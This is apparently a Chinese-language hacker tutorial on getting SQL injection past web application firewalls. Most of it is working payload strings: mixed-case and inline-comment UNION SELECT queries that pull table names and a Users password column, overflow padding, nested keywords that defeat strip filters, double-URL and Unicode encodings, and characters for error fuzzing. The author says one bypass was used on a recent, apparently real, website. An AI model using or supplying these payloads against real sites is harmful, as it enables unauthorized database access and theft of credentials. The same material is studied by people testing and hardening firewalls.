Web Hacker总是生存在与WAF的不断抗争之中的，厂商不断过滤，Hacker不断绕过。WAF bypass是一个永恒的话题，不少基友也总结了很多奇技怪招。那今天我在这里做个小小的扫盲吧。先来说说WAF bypass是啥。

WAF呢，简单说，它是一个Web应用程序防火墙，其功能呢是用于过滤某些恶意请求与某些关键字。WAF仅仅是一个工具，帮助你防护网站来的。但是如果你代码写得特别渣渣，别说WAF帮不了你，就连wefgod都帮不了你...所以不能天真的以为用上WAF你的网站就百毒不侵了。开始正题—-

1>注释符

相信很多朋友都知道SQL的注释符吧，这算是绕WAF用的最广泛的了。它们允许我们绕过很多Web应用程序防火墙和限制，我们可以注释掉一些sql语句，然后让其只执行攻击语句而达到入侵目的。

常用注释符：

```
//, -- , /**/, #, --+, -- -, ;%00
```

2>情况改变

然而，以前审计的一些开源程序中，有些厂商的过滤很不严谨，一些是采用黑名单方式过滤，但是有些只过滤了小写形式，然而在传参的时候并没有将接收参数转换为小写进行匹配。针对这种情况，我们很简单就能绕过。

比如它的过滤语句是：

```
/union\sselect/g
```

那么我们就可以这样构造：

```
id=1+UnIoN/**/SeLeCT
```

3>内联注释

有些WAF的过滤关键词像/union\sselect/g，就比如上面说的，很多时候我都是采用内联注释。更复杂的例子需要更先进的方法。比如添加了SQL关键字，我们就要进一步分离这两个词来绕过这个过滤器。

```
id=1/*!UnIoN*/SeLeCT
```

采用/*! code */来执行我们的SQL语句。内联注释可以用于整个SQL语句中。所以如果table_name或者者information_schema进行了过滤，我们可以添加更多的内联注释内容。

比如一个过滤器过滤了：

```
union,where, table_name, table_schema, =, and information_schema
```

这些都是我们内联注释需要绕过的目标。所以通常利用内联注释进行如下方式绕过：

```
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHER
E */+/*!TaBlE_ScHeMa*/+like+database()
```

```
L '/*!TABLE_SCHEMA*/+like+database()-- -
```

通常情况下，上面的代码可以绕过过滤器，请注意，我们用的是 Like而不是 =

当一切似乎失败了之后，你可以尝试通过应用防火墙关闭SQL语句中使用的变量：

```
id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()-- -
```

即使常见内联注释本身没有工作，上述的代码也应该可以绕过union+select过滤器。

4>缓冲区溢出：

意想不到的输入：

我们知道，很多的WAFS都是C语言的，他们在装载一堆数据的时候，很容易就会溢出。下面描述的就是一个这样的WAF，当它接收到大量数据恶意的请求和响应时。

```
id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAA 1000 more A's)+UnIoN+SeLeCT+1,2,version(),
4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,
33,34,35,36--+
```

上面的bypass语句，我在最近的一个网站绕过上用到了。

5>替换关键字（preg_replace and/or都能达到相同目的）：

有时程序会删除所有的关键字，例如，有一个过滤器，他会把union select变成空白，这时我们可以采用以下方式进行绕过：

id=1+UNIunionON+SeLselectECT+1,2,3–

不难明白吧？union和select变成空白了，两边的又会重新组合成新的查询。

```
UNION+SELECT+1,2,3--
```

6>Character编码：

有些情况下，WAF对应用程序中的输入进行解码，但是有些WAF是只过滤解码一次的，所以只要我们对bypass语句进行双重编码就能将其绕过之。(WAF解码一次然后过滤，之后的SQL语句就会被自动解码直接执行了~)

双重编码bypass语句示例：

```
id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/User
s--+
```

一些双重编码举例：

```
单引号：'
%u0027
%u02b9
%u02bc
%u02c8
```

```
%u2032
%uff07
%c0%27
%c0%a7
%e0%80%a7
空白:
%u0020
%uff00
%c0%20
%c0%a0
%e0%80%a0
左括号(:
%u0028
%uff08
%c0%28
%c0%a8
%e0%80%a8
右括号):
%u0029
%uff09
%c0%29
%c0%a9
%e0%80%a9
```

7>综合：

绕过几个简单的WAF之后，后面的任务也越来越容易了~下面说几种方法来绕过你的目标WAF。

7a>拆散SQL语句：

通常的做法是：需要把SQL注入语句给拆散，来检查是哪个关键字被过滤了。比如，如果你输入的是union+select语句，给你报了一个403或内部服务器错误，什么union不合法什么的，就知道过滤了哪些了，也是常见的Fuzzing测试。这是制造bypass语句的前提。

7b>冗长的报错：

当你的sql语法输入错误时、对方网站又没关闭错误回显的时候，会爆出一大堆错误，在php中更会爆出敏感的网站根目录地址。aspx则会爆出整个语法错误详细信息。

比如你输入的语法是：

```
id=1+Select+1,2,3--
```

会给你报出以下错误：

```
Error at line 1 near " "+1,2,3--
```

上面也说过了黑名单方式过滤，也可以采用以下方式进行绕过：

```
sel%0bect+1,2,3
```

这只是众多方法之一，绕过不同WAF需要不同的bypass思路。

8>高级bypass技巧：

正如前面所说的，当你尝试着绕过几个WAF之后，你会觉得其实他并不难，会感觉到很有趣，很有挑战性 :b ，当你在注入的时候发现自己被WAF之后，不要想要放弃，尝试挑战一下，看看它过滤了什么，什么语法允许，什么语法不允许。当然，你也可以尝试暴力一些，就把它当成inflatable doll， [:{}()*&$/|<>?"'] 中括号里的这些特殊字符不是留着摆设的撒~能报个错出来都是颇为自豪的，骚年，你说对不对？

但是，如果你试了N个语句，都tm被过滤了，整个人都快崩溃了，该怎么办？很简单，打开音乐播放器，放一首小苹果放松一下。然后把WAF过滤的东东全部copy下来，仔细分析！俗话怎么说来着，世上无难事，只怕有心人。

举例来说，比如你分析到最后，发现所有的*都被换成空白了，就意味着你不能使用内联注释了，union+select也会给你返回一个403错误，在这种情况下，你应该充分利用*被替换成空白：

```
id=1+uni*on+sel*ect+1,2,3--+
```

这样的话，*被过滤掉了，但是union+select被保留下来了。这是常见的WAF bypass技巧，当然不仅仅是union+select，其他的语法被过滤了都可以采用这种的。找到被替换的那个关键字，你就能找到绕过的方法 

一些常见的bypass：

```
id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+'UnI''On'+'SeL''ECT' <-MySQL only
id=1+'UnI'||'on'+SeLeCT' <-MSSQL only
```

注意：在mysql4.0种，UNI /**/ON+SEL/**/ ECT是没办法用的。

结语：WAF的姿势取决于你思维的扩散，自我感觉在WAF bypass的过程中能找到很多乐趣，不是吗？更多姿势欢迎pm我。

推荐几本SQL注入与Web安全方面的书：

《SQL注入攻击与防御》

《黑客攻防宝典-Web实战篇》

《PHP Security》 这一本适合PHP开发人员阅读

《Web Security》